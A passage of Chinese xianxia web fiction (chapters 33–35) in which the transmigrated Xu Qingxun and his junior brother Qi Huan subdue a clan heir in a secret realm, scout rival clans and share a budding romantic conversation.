然而下一刻,他突然面色大变,盯着前方不远处的昏暗之地,惊道:“是谁,竟敢闯入我姬家的法府!” 一道青色的身影率先走出,语气轻松道:“他就交给你了,师弟。” 后面的黑衣身影随口应是。 姬舞明大怒,“无视我?你们以为自己是谁——” 没等他怒完,一股恐怖的杀气霎时间如实质般袭来,令他瞬间如临深渊,连反应都迟钝了。 下一瞬,凛冽的刀光迎面斩下,若非他及时反应,险些被人劈成了两半。 姬舞明连忙后退,再不敢大意,然而后退也无用,那人身法如同鬼魅,竟能比拟他姬家独步天下的飘渺步,一个呼吸间便杀了上来,且刀刀直斩要害,刀式凶狠毒辣,至少杀了千人才能练出如此密不透风的刀法。 姬舞明几乎要无法呼吸,多次试图制造破绽,好驱动法宝法符,然而对方岂会给他这个机会,这才转眼间而已,他身上就多了六七道刀口,几乎要被人削成人干了。 对方究竟是什么人!姬舞明又惊又怒,绞尽了脑汁要反击。 可惜祁桓是谁,他别的不一定擅长,但在杀人上,他敢说第二,历史无人敢说第一,许清浔亲自评价的,何况对手只是一个没有经受过生死历练的公子哥。 一只雏鸡掉进连人都吃的战场里,哪里还有活路? 许清浔转过头时,姬舞明已经被砍到鲜血淋漓,怀疑人生,双眸充满了恐惧。 许清浔理解,任谁第一次碰见那种杀人狂魔时,心态都不会好的。 不过嘛,他轻笑一声,在祁桓即将斩下姬舞明头颅前,突然开口:“师弟,停手。” 那柄修罗般的刀在他喊话的瞬间停下,血液自刀身滴下,落在姬舞明的脸上,令后者浑身一颤,狼狈地一屁股摔倒在地。 姬舞明麻了,他伤的何止是身,还有他的道心。这是他有生以来第一次被人如此压制,而最恐怖的是对方仅仅表现出了刀法。 他恍惚了,呆呆地看向一句话救了他命的青衣修士。 对方喊那个修罗般的男人为师弟,便是其师兄。 见姬舞明转过头,许清浔并无特别的表情,打量了一眼,直接道:“暂且留你一命不为其他,告诉我们秘境内的形势吧。” 姬舞明浑身一颤,眼睛难以置信地看着许清浔,仿佛认出了他,心中一个名字呼之欲出,却死活想不起来。 祁桓扫了姬舞明一眼,险些刀一抖就把他杀了。 许清浔走过来,对那浑身是血的人道:“喊你呢,不说话是要死?” 姬舞明终于回过神,仓皇应是。 许清浔垂眸,心想姬舞明,后期追杀祁桓的主力之一,他认为祁桓毁了姬家,对祁桓恨之入骨。这人别的不一定行,但运气一定超行,多次被祁桓杀到死了,剧情一过,居然又满血复活,堪比打不死的广式双马尾,当然各中原因,估计跟姬家的血脉神通有关系。 姬家的血脉神通是出了名的能苟,肉身恢复力极强,夸张到只剩一滴血都能复活全部身躯,当然那要至少金丹后期才行。 要说现在的姬舞明……他仅仅是一个毒舌中二的公子哥罢了,特技是装13和口嗨,满脑子清澈的愚蠢。 许清浔眸光幽转,“我们是谁,你不必记得,但你若不听我们的话,必死无疑,知道了吗。” “知道知道!” 姬舞明明显是被祁桓砍出了心理阴影,祁桓一个眼神,他便立马俯首应是,主打一个灵活。 许清浔心想,能屈能伸才是存活之道,也难怪这家伙能活到小说后期了。 三刻钟后,姬舞明老实交代完了他所知道的秘境之事。 李家、王家、许家三大世家占领了秘境内最好的地段,其次是七大千年世家,本来十家没有什么冲突,奈何王家胃口太大,开始向七大千年世家出手,吞吃他们的地盘。他们七大家族任何一个都打不过王家,就这样被吃了许多地。 他们为何不团结对抗王家?因为新仇旧恨,以及王家的从中作梗。 而且,王家并没有亲自出手。 “王家这一代出了一个阴人,王腾飞!” 姬舞明说到王腾飞,声音都变尖了,痛斥道:“王腾飞利用了一群散修来攻击我们,当我们反应过来的时候,地盘已经被夺走了!” “问道宗那个王腾飞?”许清浔忽然开口。 “对,就是他!王凰潜的孪生哥哥!”姬舞明很是激动,仿佛这两个人是他的心理阴影。 祁桓闻言面色微变,不动声色地看了许清浔一眼。 玄界都在传闻,许清浔与王凰潜是……所谓的金童玉女,天生一对。 许清浔听到这个名字,并无特别反应,淡淡道:“王腾飞,王凰潜吗,的确,你们七大家里面没有一个能打得过他们。” 姬舞明愣了愣,一脸震惊地看着许清浔,“我们七大家?你莫非是李……许家的人?” 许清浔没有回答。 祁桓突然抽刀,横在姬舞明脖颈上。 姬舞明吓得面色大变,声音颤抖道:“你、你要杀了我?” 祁桓置若罔闻,仿佛根本没看见他。 姬舞明第一次碰见这么纯粹的杀胚,根本不知如何应对,只好将求救的目光投向了许清浔。 许清浔沉默,似乎默许了祁桓。 姬舞明当即急了,“等等!别杀我,我是姬家三少爷,我很有用!留我一条命,我什么都能做!” 他也不是傻子,知道这种情况下,威胁放狠话还不如积极展现自己的好用之处。 许清浔忽然开口,“先等一下。” 祁桓看向许清浔。 许清浔对他笑道:“这家伙很适合收作小弟。” 祁桓转眸,放在姬舞明脖颈前的刀已经划开了一条血线。 “听你的。”他淡淡开口,声音不冷不热,却差点吓死了姬舞明。 “发大道誓言吧,你以后就是我们的小弟,要对我们言听计从,绝对服从,不得有伤害我们的任何念头,没有我们允许,不能透露我们的任何事,无论主观还是客观,否则天诛地灭,立地横死。”许清浔微微一笑。 姬舞明连连点头,瑟瑟地抬头道:“敢问你们两位是……” 许清浔道出名头,后者当即愣在原地,如遭雷劈- 半个小时后,法府征集改造完毕,小弟姬舞明被派出,洞穴内只剩下了两人。 祁桓终于开口,问道:“师兄,为何收他。” 刚刚布置完阵法的许清浔拍了拍手,心想为了帮你化敌为友啊。不过,他只笑着回答:“为了减少敌人,还有一两拨千金,那家伙用得好的话,可是会很好用的。” 祁桓沉默了一下,冷不丁道:“比我好用吗。” 许清浔呆住,连忙道:“当然不会,哪有师兄会用师弟的啊,那家伙是工具人,岂能跟你比?” 祁桓瞳孔微缩,转而道:“说的也是,我若是看不过去,随时可以杀了他。” 好家伙,你的说法有些血腥啊!许清浔小咳一声,“师弟,还记得师兄说过什么吗?” 祁桓抬头,“只杀该杀之人,是吗。” 许清浔轻应一声,认真道:“我们不怕事,不怕杀人,但必须是有理由的杀人,不能滥杀无辜,更不能因一己之私,搞得生灵涂炭,我们是修道之人,能不沾因果,就不沾因果。” 他这段话在当今的时代或许过于良善了,然而面对祁桓,他却不得不说,因为祁桓的三观关乎到世界的存亡。他……必须要成为这个男人的抑制器。 接着,他又温声道:“当然,我相信你,你觉得应该杀的人,必有你的理由,必要时没必要心慈手软。” 祁桓沉默,眼神幽深,忽然开口:“若是我滥杀,师兄会很失望吗。” “当然会啊!”许清浔脱口而出,明知可能是风险问题,弄不好会踩雷,但一腔热血上头,哪里斟酌的了,说完才知道紧张。还好他知道,祁桓外表冷,但心肠不冷,就是时常表现得阴晴不定而已。 然而,出乎他意料的是,祁桓反而淡淡地笑了,“是吗。” 接着,他语气罕见的温柔,“那我要努力让师兄不失望才行。” 许清浔睁大眼睛,仿佛见了鬼,这么坦率的祁桓……是现实可以看见的吗? 祁桓看他一脸难以置信的样子,侧首道:“怎么了吗。” 许清浔受宠若惊,连忙道:“没有没有,就是有些惊讶。” “师兄慢慢惊讶吧,我先出去了。”祁桓面色淡淡,转身便要离开。 他们说好了,祁桓出去打杀,他暂留守家,研究秘境。 许清浔目光追着祁桓的身影,急忙道:“在外千万小心,打不过就跑!” 黑衣青年应了一声,随后消去了身影。 许清浔稍放心,道:“我老是念叨他,会不会烦到他了?他会不会觉得师兄啰嗦?” 与人交往真是难免烦恼,有时候,他既担心祁桓不听他的话,又担心祁桓太听他的话,左右互博。 “等等,我又不是在跟他交往,担心这些做什么?” 许清浔顿时一惊- 另一边,山道上,黑衣青年手扶剑匣,心里想着,他不讨厌“啰嗦”的伴侣,不如说,很喜欢。 第34章 第三十四章 清心寡欲的好师弟- “等等, 我为何要这么在意那家伙的想法?” 许清浔回味过来,感觉自己也有点莫名其妙,偏偏一时间搞不清楚,“罢了, 随他吧, 无论如何, 打铁还需自身硬,修炼才是硬道理!” 他轻笑一声,不久后,他成功解析了法府内的阵法, 找到了阵眼的所在。 玄衍秘境不同于其他秘境, 它越靠近地下, 灵气越浓郁, 天材地宝也就越多。那如此说来,只要往最深处走,不就能得到最好的宝物了吗? 理论上是的,但问题你要下得去。 玄衍秘境的构造如同千层饼, 每一层皆由天地法力凝聚,无法暴力凿穿,唯一通往下一层的方法就是找到阵眼,解开阵眼,再往下行。 所以,来这里的修士们寻到阵眼位置, 便会原地构建法府,然后就地镇守,比如姬舞明。 可惜,现在被他们抢了。 许清浔手举一团符文交织的白色光华, 尝试运化。片刻后,符文尽数流淌入体,滋补金丹。 他唇边绽开笑意,“不愧是灵气复苏的启始之地,灵气真是精纯,这一口等于我修炼一天了。” 要知道,这才是第一层而已。 “据姬舞明所说,王家已经开凿到第三层了,这与原著的发展几乎一模一样,王腾飞、王凰潜两个人应该就在第三层的某座法府内,等待开凿通往第四层的阵眼。” 许清浔还没想起《醒红尘》时,印象中曾经见过他们兄妹一面,王腾飞小小年纪便有一副大人做派,人小鬼大,很是傲慢,据说他三岁就会杀人,谁若是让他不顺心,他就让谁全家不顺心,身边的奴仆无不战战兢兢,惟恐惹他不快没了命。 至于王凰潜,她比王腾飞深藏不露,或者不如说,王腾飞的招摇,就是为了掩饰她的存在感,她是王腾飞背后的“军师”。 不过,她在原著中着墨不多,只写到遇上了暴走时的祁桓,在玄衍秘境第四层便领了盒饭。毕竟狭路相逢,你死我活,谁又能赢得过主角? 想到这里,许清浔皱了皱眉,“都怪《醒红尘》太省略了,只写祁桓暴走,血洗了玄衍秘境,醒来时看到遍地尸体,王凰潜也是其中一具,完全没有写到底怎样一个过程,否则我就能知道她的神通了。” 王家的血脉神通他知道,但那对孪生兄妹的本命神通……直到他们死都没有写出来,实在可惜。 咳,别怪他打情报战,谁不想占据优势?再说了,他更多是好奇。 许清浔心中念叨,双手却没有闲着,很快“凿”通了阵眼。法府内,以阵眼为中心爆发出十方符文,灵气如龙蛇般汹涌而出,充斥了整个法府。 因他提前布置了聚灵阵,所有的灵气都被封锁在内,一丝都没有外泄。 许清浔一笑,“找到阵眼的好处,一在开通道,拓地图,二在预取高纯度的灵气,而且阵眼刚解开时爆发而出的灵气夹带大道精髓,炼化到四肢百骸中去,既能加强体质,又能提升悟性,善之又善!” 否则,王家那些人何苦抢他人的地盘? 许清浔盘膝而坐,很快心无旁骛,进入了修炼状态。 大约三个时辰后,他的身躯自然流转光华,大道精髓一滴不漏,全部炼化成功,境界更加臻于完美。 他睁开双眸,周身霎时绽开一圈符文,它们围绕着他周转,如同环绕着行星的卫星。散发着星星点点的辉光。 许清浔收功,霎时神清气爽,耳目通明。不断修炼,不断向上提升,真是一件快意之事! 他不免想到了祁桓。不晓得师弟如何了,看看吧。 许清浔于是取出腰间的玉佩,施法展开一面水镜。很快,水镜凝聚出一副不算高清的画面,隐隐能看见一道修长的人影。 黑衣青年似乎身在一座洞府中,周围十分昏暗,岩石轮廓都分辨不清,唯一可以确定的是,他脚下八成有许多尸体。 “这家伙……怎么这么快惹事了。” 许清浔一顿,但又很快释然,因为他知道,祁桓那个主角体质,就算不想惹事,事也会主动往他身上惹。 仍记得,四年前他带祁桓去拍卖行,祁桓被他再三叮嘱,并没有做出任何出格之事,偏偏有人看祁桓不顺眼,主动迎来找事,祁桓反击,当即就触发了一系列嘲讽打脸放狠话找爹妈等等小连招。 他当时就觉得,这莫非是命运的引力?就算祁桓那天没有出门,找事的人甚至会跑到房间找祁桓? 后来见识多了,他才终于习惯,每当这种事发生时,都会心里调侃一句所谓的“主角命格”,然后暗暗忧心。 许清浔回忆着,目光随着黑衣青年,带着几分忧虑。 忽然,黑衣青年停下脚步,朝着水镜的位置转眸,但又没有真的看过来,只是扫了一眼,收回视线后,又再次向前走,仿佛什么都没有注意到。 许清浔呆了呆,低语道:“他刚刚……绝对是发现我了吧?” 他并非第一次用水镜术观察祁桓,至今为止,少说也有上百次了,他感觉祁桓也是知道的,但这家伙就是没有主动提起。 他连道歉都准备好了,没想到祁桓似乎……并不在意? 这也是一件怪事。许清浔疑惑,“按理说,以你的性子,若是知道被人偷窥,铁定会连页杀人吧?” 页,并非错别字,是确实可能发生的高概率事件,翻页过去,人就死了。 仔细一想,洁癖之事也是。许清浔发现,祁桓真的对他破例许多,要是炮灰早就触发取死之道了,他却始终无事发生。 “或许……这就是榜一大哥福利吧?” 许清浔想了想,顿时大为感动。接着,他看到祁桓单枪匹马拿下了一个法府,随后坐在原地,取出刀剑擦拭。片刻后,果不其然,接二连三有人杀来,全都自称王家的仆从,要求祁桓交出法府,否则就要将祁桓立地诛杀。 而祁桓,全部杀了回去。 一共杀了六轮,外面的人才知忌惮,再不敢轻易派人进攻。 这时,祁桓也解析出了阵眼,将其凿开,汲取灵气,炼化大道精髓。 许清浔赞许道:“不错不错,阵法方面果然学到了本师兄的精髓!” 他非常满意,要知道,他当初强迫祁桓学阵法,祁桓一开始居然还拒绝,这很过分吧?外面的人求都求不来他免费教,你这小子居然拒绝? 虽然,他也理解,阵法相对来说是理科的范畴,而祁桓呢,比起理科生,更接近工科生,天性多少有些不符,并非矫情或是其他。 但他还是强迫祁桓学了,不为别的,只为……原著的中前期,祁桓屡次因为不懂阵法而吃瘪,尤其是在玄衍秘境中。 “哎,未免小师弟你吃没文化的亏,师兄只好提前强迫你好好学习了,看看现在,是不是觉得有师兄的孩子真是走运呀?” 许清浔笑了笑,远远看着祁桓修炼,他有种回到了读者时期的感觉,十分满足以及惬意,若这是直播镜头,他恐怕已经开始打赏了。 片刻之后,他撤了水镜术,轻声道:“不过,秘境里不只有小师弟你,还有二师弟,我还是看看全局吧。” 许清浔收起轻浮之色,瞬间沉下心来,将神识融入天地阵法,然后极大地拓展开来,如蛛丝一般遍布法府,又迅速细化,细化到可以避开修士的灵觉。 潜心、潜心,再潜心。 他默念,深吸了一口气,再睁开眼睛,周身符文密布,盛放出炽烈的辉光。下一瞬,无数光景瞬间涌入识海之中,若非在天魔?池强化过神魂,突然来这一下,他恐怕会吃不消。 紧接着,他看到了七大家族的法府,以及法府内的各种情况,有人在修炼,有人在争吵,再接着,他看到了许家的修士,他们与王家的修士在一起,不知在交谈什么,相笑甚欢。他并不认识那几个人,猜测是分家的子弟,便已经心中有数,无论多庞大的势力,都会藏污纳垢。 再接着,他看到了李家的修士,他们较为与世无争,多数人在法府中修炼,极少在外生事,而其中就有两个,正在勾结王家。 他们非常谨慎,交谈之时布下了地品阵法,险些隔断了他的精神念丝。 还好他服下丹药,临时加强了一波,清楚听到了他们的对话。 “你确定吗?地下有圣品宝物?” “那只是猜测,说不定……品阶超越圣品。” “所以这就是王家如此动员的理由?呵呵,有意思,我们知道了。” 他们的谈话到此为止,很快离开了那地。听上去像李家人接应内奸,打探王家的情况,但许清浔一看便知,那内奸是双面间谍,是王家故意给李家放情报。 “王家这是要拖李家下水啊。” 许清浔微微皱眉,却没有到担心的地步,他曾告诉李长金,王家的话全当屁放,半个字都不必相信。 他继续展开精神念丝,可惜找遍了李家都没有找到李长金,“咱家二师弟这是到第二层去了?又或者,这个时间点还没来?” 有点不好说。 许清浔眨了眨眼,转头找其他地方。王家他探不进去,他们不知用了什么法宝,彻底断绝了窥探,若他强闯,恐怕会有一定危险。 罢了,他暂且放弃,继续前行,然后意外碰见了鸿蒙宗的修士。 十大家族分布在各大宗派的子弟众多,一来这种秘境,他们就会离开宗门,归属各自的家族,导致各大宗门少了大半的精英弟子。 犹记得,鸿蒙宗有个人实力非凡,但是扮猪吃老虎,藏在了仆从弟子里面,原著祁桓大开杀戒,他才为了救宗门师兄师姐挺身而出暴露实力。 是个蛮仗义的人,可惜《醒红尘》连名字都不给,就只知道那个人身材瘦小,眼睛却很亮。 许清浔找了一遍,几乎要放弃,突然浑身一凛,仿佛被人发觉了自己的精神念丝。 这个状态非常危险,精神念丝直通精神,虽然感知力强大,但防御力很低,一旦被人察觉攻击,他的神魂危也。 但那道视线只是扫了他一瞬,很快便消失不见。 他愣了一愣,收拢精神念丝,感知到前方几个小修士正在嬉笑。 “九师弟,你怎么又摔倒了?来一趟玄衍秘境不容易,你就这样丢人现眼?” 一位背负长剑的修士嘲笑道。 他面前的修士身材瘦小,皮肤黝黑,不像修士,反而像杂役。他一被训诫,立马低头哈腰,摸着后颈道:“师兄说的是,我会小心的。” 背负长剑的修士摇了摇头,“你这样不小心,就是在法府里面好好待着吧。” “是是。”瘦小修士抬起头,露出一张令人意外的脸。 他皮肤黝黑,但五官却很犀利,一双黑眸乌亮乌亮,格外有神,好似黑曜石一般。 许清浔顿了顿,若有所思地盯着那名修士,片刻后才移开视线,喃喃道:“应该就是这个人。” 但原著那点事之外,他就对这个人一无所知了。 会是值得结交的朋友吗? 许清浔不太确定,心中莫名想起祁桓,思考道:“结交,怕是师弟会吃醋,咱家师弟什么都好,就是‘怕生’,否则也不会除我之外,在三玄宗五年没有其他朋友了。” 接着,他继续展开精神念丝。 后面是问道宗、御天宗,问道宗来的人较少,八成多数回归家族了,御天宗就更少了,五年前许清浔暗中使手段,使御天宗的高端战力损失大半,宗门也随之衰落,弟子的质量自然也就下降了。 他看了大大小小的宗门一眼,有一些人值得留意,他便多看了一眼。 他们来的晚,第一层已经没有什么宝物了,而且大多数人正在准备下去第二层。 片刻后,他收回精神念丝,身体微微颤抖,不得不抬手扶额。 一点头痛,不打紧。他只是,恍然间心情有些复杂。 这些年轻人有好有坏,大多秉承着一颗求道之心,然而原著中,却全都被暴走的祁桓残忍杀害…… “那些如此鲜活的生命,你暴走后清醒过来,看到他们的尸体时,究竟是一种怎样的心情。” 许清浔皱紧眉头,完全不敢体会那种绝望。 分明不想杀那么多人,分明是一个热心的人,却一次又一次背负了过多的人命,连帮助过自己的人都无意杀害…… “好在,这一世有我在。” 许清浔低声自语,重复道:“有我在,不会有任何人逼你。” 他深吸了口气,头痛好了,继续修炼。这一次,眼神更加坚定- 几乎与此同时,姬家第二法府。 “三少爷,您怎么来这边法府了?” 洞口前,一名修士连忙恭迎。 “我来看看不行吗。”姬舞明开口,羽扇掩面,遮挡了脸上的伤。 他刚刚被砍得险些一命呜呼,没过多久就痊愈了,这就是姬家血脉神通的强大之处,不一定擅长战斗,但恢复力绝对强。 “当然当然!”恭迎的修士低头哈腰。 “不是就滚。” 姬舞明直接挥手。他在姬家地位仅次于他的大哥二哥,到哪里都可以鼻子视人,自然不用给看门的人好眼色。 而进门之后,他神态顿变,擦了擦额头的冷汗,心中仍旧后怕不止。 他心想,刚刚那个人是许清浔对吧,是许清浔本人对吧!传说中的符法天才,年轻一代数一数二的强大人物! 姬舞明心有余悸,他以前远远见过许清浔,虽只是一面,但相当印象深刻。他记得,他强大得不可一世的大哥二哥,在打擂台时被许清浔强势碾压,道心几乎崩裂,他大哥为此闭关了一年,他二哥更是喊人制作了神似许清浔的器偶,天天与之对练,发誓要击败许清浔以雪前耻。 万万没想到,他居然一来就碰见了传说中的许清浔! 不过,许清浔身边的那个人是谁?也是许家之人?不,绝对不是,祁姓……较为罕见。 “等等,许清浔都来了,这下王家还坐得住吗。” 姬舞明想了想,最后摇头告诉自己,想这些没有意义。最重要的是……发了大道誓言之后,他已经是他们的人了。 想到这里,他心情有些复杂,对方并未要求他做什么,只让他在姬家好好待着,等到必要的时候,他们会告诉他需要做什么。真没想到,他堂堂姬家三少爷,居然会有沦为他人牛马的一天。 但一想到那个人是许清浔,他又不禁直起了腰板,因为许清浔的仆从也不是一般人能做的。 “不过,许家大少爷为何不回许家,反而跟一个来路不明的男人在一起?”姬舞明边走路边思考,无声道:“而且那个男人浑身杀气,冰冷至极,恐怖如斯,跟许家大少爷的作派相差甚远。” 此外,更耐人寻味的是,那个男人看许家大少爷的眼神……该如何评价呢,占有欲?而且,绝对不是一般的占有欲。 姬舞明忽然浑身发冷,仿佛想起了险些被那个男人大卸八块的凶险瞬间。 对方比起人类,更像是吃人的猛兽! 就在这时,他前面不远处传来了一道温和的男声。 “这不是小三吗,不守着你的法府来这里?” 姬舞明闻声微愣,随即勃然大怒,“二哥你再叫我小三试试!”- 另一方,王家法府。 “第一层出事了?一群蠢货,连第一层的法府都拿不下!” 金袍男子面目狰狞,骂道:“现在说已经晚了,我们都已经下去第三层了!” 对面之人仓皇跪地,不敢找任何借口。 金袍男子眼睛微眯,忽然道:“对方是谁,胆敢单枪匹马抢占我们王家的法府,我看他是准备被灭门了。” 对面满头大汗,声音颤抖道:“我、我们也不知。” 金袍男子怒了,“你们就是被一个来路不明的男人杀得个片甲不留吗?” “……是。”那人伏低身躯。 金袍男子冷哼一声,“也罢,他既然敢抢占我们王家的法府,必然有一定实力,而且胆量也实在不小。他必会继续往下走,届时碰到我们,哼,我王劲来告诉他,得罪我们王家该是什么下场!” 对面如小鸡啄米般点头,可惜等金袍男子继续问他细节,他却一个也说不出,因为知道的人全死了。 最后,金袍男子勃然大怒- 第一层,原姬家第三法府。 许清浔迅速消化完府内灵气,收功起身。接着,他好似注意到了谁的到来一样,轻笑道:“终于回来了,咱们去第二层大抢劫吧。” 黑衣青年停下脚步,似乎有些不解,问道:“滥杀不行,但滥抢行,是吗。” 许清浔点点头,转过身,目光径直看着黑衣青年,顺口补充道:“还有,滥.交也不行。” 祁桓一愣。 许清浔也是一愣。糟糕,说顺口了,还好师弟对那事一窍不通! 他连忙咳了一声,正欲补救。 祁桓却已经好奇地开口问:“何谓滥.交?” 许清浔老脸顿红,满心都是糟糕了,我把不得了的事情教给主角了! 然而对方满眼的好奇,好像求知若渴,不解释貌似是不行了。 许清浔豁出去了,一副视死如归的表情,道:“就是与许多人行鱼水之欢、床笫之事,并且沉迷其中,不可自拔。” 空气仿佛凝固了,祁桓的面色阴晴不定。 许清浔浑身压力,快要不敢抬头看自家清心寡欲的好师弟了。 对不起,师兄嘴瓢了,师兄没有觉得你会滥.交!不要不说话了,师兄紧张啊,再也不敢开黄腔了! 就在他要忍不住开口的时候,黑衣青年先出声了,双眸直勾勾地盯着他,语气罕见地郑重道:“我不会。” 许清浔一呆。 祁桓又认真道:“我一生,只会爱一个人。” 许清浔傻眼,半会才回过神,心想……原来自家师弟也会有爱人的想法,而且三观如此之正,都快不像点家男主了。 他于是心生好奇,问道:“那师弟,会爱怎样的人呢?” 祁桓愣了愣,心中那些不成形的、模糊不清的、却异常强烈的情感好似在这一刻凝聚了起来,令他心跳猛然加速,一个答案在脑内呼之欲出。 第35章 第三十五章 男人也不是不行 “我……” 黑衣青年欲言又止, 眼底压着闪烁不定的动摇,不自觉地握紧了拳头。 “你什么?”许清浔缩近距离,眼神更加好奇。 祁桓顿了顿,面色微红, 好似不想跟许清浔对视, 忽然侧过了头。 许清浔眨了眨眼, 再次凑近,心想师弟这是害羞了?说一下喜欢的类型也害羞?哈哈,可爱! 他兴致上来,忍不住道:“师弟, 这也没啥, 告诉师兄又何妨?” 祁桓浑身僵硬, 缓缓地转过眸子, 绷得一副禁欲的样子,终于开口:“明朗……活脱的。” 许清浔一顿,大感意外,追问道:“然后呢?” 祁桓似乎有些语塞, 沉思了片刻,才继续道:“还有心地良善。” 许清浔更加诧异,好似第一天才认识祁桓,“师弟你……” 他说了一半又暂停,钓得祁桓表面平静,内心着急。 祁桓忍不住问道:“我怎么。” 许清浔微微侧首, 认真道:“择偶标准还挺好的,师兄非常认可!” 祁桓一顿,眼里似乎闪过了一分幽怨,“是吗。” 许清浔重重点头, 语气轻快道:“当然,师兄还以为你没有那方面的心思,没想到你还好像想过?” 祁桓瞳孔微缩,再次欲言又止,又侧过了脸,像在掩饰自己的表情。 而许清浔接着一本正经地分析道:“可惜,师兄认识的人里面,并没有这类的女孩子,否则说不定还能促成一段姻缘。” 祁桓闻言脸色都黑了,当即道:“不必。” “为何?”许清浔听出他不悦,语气收敛了一些。 “修士当以修行为重,这不是你自己说的吗。”祁桓语气发冷,未看向许清浔。 许清浔一呆。那话确实是他说的。可是……该怎么说呢,他从来没有想过祁桓会有cp,方才突然听见祁桓居然有如此具体的择偶标准,心里感到意外的同时,又不免想到,以祁桓的性子,有了挚爱之后,会不会就不容易黑化了?所以才追问了几句,但自家师弟好像又不喜欢了。 许清浔眉头微皱,目光担忧地看着祁桓,心想就算祁桓有了喜欢的人,他这样阴晴不定的性子,除了自己,又有谁能受得了。 “修士……是当以修行为重,但话不是说吗?地法财侣,真正的‘侣’不应该耽误修行,而应该促进修行。”许清浔耐心解释,“修行之路太漫长,几千乃至几万年的漫漫长夜,身边若无一人相伴,那该多么寂寞啊。” 这是他的真心话,他偶尔会在修炼结束后,半夜望着月亮思考这个问题。 修士会活很久,他只要不出事,顺利修行,活个八.九千岁绝对不是问题,可是身边的人呢,绝大多数会先老死,到时候…… 许清浔眼神一暗,内心顿时有些落寞。 就在这时,旁边之人好似注意到了他的心情,忽然开口:“你不会无一人相伴。” 许清浔微微一愣,诧异地抬起头,与那双黑沉的眸子对视。 祁桓表情如常,语气却仿佛发誓般,道:“我会与你相伴。” “……” 许清浔睁大眼睛,好似被祁桓狠狠感动到了,表情大写的惊喜,笑问:“是吗?不会中途嫌弃师兄啰嗦,然后偷偷抛下师兄远走高飞?” “不会。”祁桓脱口便道。 哦哦,主角金口一言,当驷龙难追? 许清浔大笑,方才的落寞一扫而光,“那是那是,毕竟有时候,好兄弟可是比道侣还要难求!” 祁桓低眸,没有同意,也没有否定。 闲聊也差不多了,许清浔收心,准备聊下去第二层的事情。 忽然,祁桓又开口,目光定在地面,“但话说回来,师兄呢。” 许清浔一愣,反问:“我怎么了?” 祁桓僵硬了一下,低声道:“师兄,又会爱怎样的人。” 许清浔目瞪口呆。 这个问题他倒是从来没有想过,非要说的话…… “长得好看的?”他犹豫着开口。 而祁桓一听,当即有些站不住了,转头道:“就看长相?” 许清浔汗颜,心想,实在是有些颜控,否则你师兄也不会单身这么多年了。 顺便一说,你师兄之所以看上你,也是因为你是点家少有的、设定写了容貌俊秀的男主。 他不好意思地挠了挠脸,感觉祁桓在鄙夷他,老实道:“师兄不是肤浅,只是……你也知道,媳妇要天天看着,当然希望是好看养眼的。” 他越说声音越小,因为感觉祁桓在鄙视他。 可恶,外貌党又如何! 许清浔心里打气,继续道:“但也不只看外貌,有外貌没品性,你师兄也不会爱的。” “……” 祁桓沉默,若有所思,随后认可地点了点头,不知是同意许清浔,还是同意他自己,心满意足后,唇线淡淡上扬。 许清浔小咳了一声,正色道:“闲聊到此为止吧,下去了,准备好了吗。” “嗯。”祁桓点头- 地下空间极其广大,一层约有数千丈高,每一层都相当于一个世界。 抬头看去,头顶好像罩着一层雪白发亮的云雾。 这一日,第二层死了许多人,总共六个法府发生了战斗,最终全部易主,落到了王家之手。 李家内部,有些人已经坐不住。 而许家似乎仍高枕无忧,自始至终无人出手,甚至也不见任何人走出法府。 此时此刻,姬家第五法府内,几个年轻人正在发怒。 “王家真是疯了,胃口那么大,难道要将我们七家全部吞下不成?” “还是太给他们脸了,核心弟子不出手,当我们千年世家是摆设!” 一对兄弟骂骂咧咧,气得跳脚。 姬舞明的大哥姬武尚也在现场。他身材魁梧,气质非凡,不怒而威,在年轻一代之中很有威望。 他听了罗家两兄弟的话,并没有表示同意,而是看向他们,问道:“开战很容易,随时可以开始,可你们打得过吗。” 罗家两兄弟面色一僵。哥哥罗平皱眉道:“何谓‘你们’,难道姬家还不打算出手?” 姬武尚平静道:“我们来玄衍秘境是为了修炼,不是为了争斗,我们最终的目标,应该是九界天才会。” 弟弟罗衡怒了,“那难道就任他们欺辱?万年世家算什么,他们姓王,难道就可以天地称王,无法无天了不成!” 姬武尚道:“你们打得过?” 罗衡语塞,憋红了脸。 罗平摸着下巴,“武尚兄说的是,终究是实力的问题,王家这一代出了一堆妖孽,每一个都是以一敌十的强大修士,再加上王家善于炼宝与布阵,法宝众多且品阶超凡,阵法凶险无比,即便我们七家联手也拿不下。” 姬武尚点头,“是,除非李家、许家任一家出手。” “但这两家若是出手了,也没我们什么事了吧。” 容家的人忽然开口。她名容徐,方才一直沉默寡言。 现场的人之中,还有说不上话的姬舞明。姬舞明对外嚣张,但在这些人面前连屁都不敢放一个,只能坐在边缘,看着他们交谈。 听到容徐的话,罗平摇头道:“许家估计不会出手,他们这一代好像想跟王家结亲,不会因此跟王家结仇的。” 他没有提谁,但这在他们之中早已不是秘密,传闻王家的大人很欣赏许家的那位大少爷,多次公开赞扬,将其与自家大小姐并论。 而姬舞明一听,表情立刻就不对劲了。 “许家就算了。”姬武尚摇头,“他们与王家没有利益冲突,潜心修炼,哪有闲情管我们的事。” 姬舞明当即抬头。他可是知道,许清浔本人来了! 罗衡皱了皱眉,“也是,那就只剩下李家了。” 就在这时,一道急躁的声音突然传来。 “东边的法府发生变故了!” 洞府内众人立刻转身,目光聚集在通报之人身上。 那人一路疾冲,终于到达,累得直喘气,“王家抢占了那边的法府之后,被不明人士杀了出来!” 众人睁大眼睛。 而姬舞明直接站了起来。 “是谁?”姬武尚失声问- 原罗家第六法府内,几颗夜明珠悬在空中,将整个法府照耀得如同白日。 “师弟,你是不是心情很好?” “是吗。” “我觉得是。” 许清浔一边摸索着阵眼,一边偷瞄旁边的男人。 男人罕见地心情愉快,眼神都温和了许多,虽然他本人并不承认这一点。 他们刚到第二层的时候碰见了一条金丹初期的大蛇,耗费一番功夫才解决。现在,那男人正在处理蛇肉,并且已经架起了火炉。 许清浔坐在石床上,看着对方侧对自己,有条不紊地切肉,露出的手臂肌肉线条优美,青筋起伏,修长的五指灵活且有力,能毫不费劲地按断蛇骨。 有时候他真觉得,祁桓的手是艺术品,兼具雕刻般的美感,还有一种原始的暴力感。 历练在外,他们两人各有分工,食物上的分工则是祁桓。 修士无须进食,但灵兽的血肉可是大补,不吃白不吃,况且祁桓的料理手艺堪称一绝,谁能不馋。 许清浔眼巴巴地看着鲜嫩多汁的蛇肉,感觉肚子都要幻饿了,嘴上却一本正经地提醒道:“师弟处理蛇肉的时候千万注意蛇毒,那玩意容易让人淫性大发,做出禽兽之事。” 